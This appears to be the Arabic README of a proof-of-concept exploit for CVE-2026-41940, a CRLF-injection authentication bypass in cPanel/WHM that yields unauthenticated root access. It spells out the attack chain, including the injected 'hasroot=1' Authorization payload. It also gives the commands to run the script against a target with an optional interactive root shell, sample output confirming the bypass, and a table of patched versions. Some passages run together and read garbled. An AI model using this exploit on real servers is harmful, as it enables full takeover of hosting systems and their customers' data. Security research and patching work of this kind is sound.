
إثبات مفهوم لاستغلال CVE-2026-41940، وهو تجاوز حرج لمصادقة cPanel/WHM عبر حقن CRLF، مما يتيح وصولاً غير مصادق عليه بصلاحيات الجذر (root) وقشرة تفاعلية.
المؤلف: SilySec
البحث الأصلي: Sina Kheirkhah (@SinSinology) / watchTowr Labs
الخطورة: حرجة (CVSS 9.8)
النوع: حقن CRLF ← تجاوز المصادقة ← شل بصلاحيات root
CVE-2026-41940 هي ثغرة أمنية حرجة في cPanel/WHM تسمح لمهاجم غير مصادق بالحصول على وصول كامل بصلاحيات root عبر حقن CRLF في مدير المصادقة الأساسية (Basic) الخاص بـ cpsrvd.
تجمع الثغرة بين ثلاث نقاط ضعف:
saveSession() في Cpanel/Session.pm لا تُنقّي الأحرف \r\n قبل الكتابة على القرص عندما يكون المفتاح <ob> غائبًا عن ملف تعريف الارتباط (cookie).<obHEX> في ملف تعريف ارتباط الجلسة، لا يتم تفعيل المُرمِّز لكل جلسة، مما يترك بايتات CRLF مكتوبة كنص صريح في ملف الجلسة.Cpanel::Session::Modify::save() يعيد قراءة الملف الخام ويرقّي مفاتيح CRLF المحقونة إلى ذاكرة JSON المؤقتة، مما يجعل الجلسة مصادقة بالكامل.POST /login/?login_only=1 [كلمة مرور خاطئة]
└─► cookie: whostmgrsession=:ID,<obHEX>
حذف ,<obHEX> → :ID [تعطيل المُرمِّز]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd يكتب بايتات CRLF الخام في ملف الجلسة
GET /scripts2/listaccts + Cookie: :ID [بدون رمز أمان]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► إعادة بناء ذاكرة JSON المؤقتة مع hasroot=1, tfa_verified=1
→ جلسة مصادقة بصلاحيات root
pip install requests
# لوضع --terminal (اختياري):
pip install paramiko
python3 poc.py --target https://الهدف:2087
python3 poc.py --target https://الهدف:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.exemple.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host (وليس عنوان IP) — يدير cpsrvd الجلسات بشكل مختلف حسب اسم المضيف9999999999 (ثابت، مستقبل بعيد) — الطابع الزمني الحالي يفشلsuccessful_internal_auth_with_timestamp أولاًينقل التصحيح استدعاء filter_sessiondata() إلى داخل saveSession() ويضيف ترميزًا شرطيًا عندما يكون المفتاح <ob> غائبًا، مما يمنع أي كتابة كنص صريح.
قم بتحديث cPanel/WHM فورًا إلى الإصدارات المُصحَّحة المذكورة أعلاه.
تُوفَّر هذه الأداة لأغراض البحث والاختبار الداخلي فقط. أي استخدام على أنظمة دون إذن صريح يُعد غير قانوني. SilySec غير مسؤول عن أي استخدام سيئ.
| الفرع | آخر إصدار مُعرَّض | الإصدار المُصحَّح |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |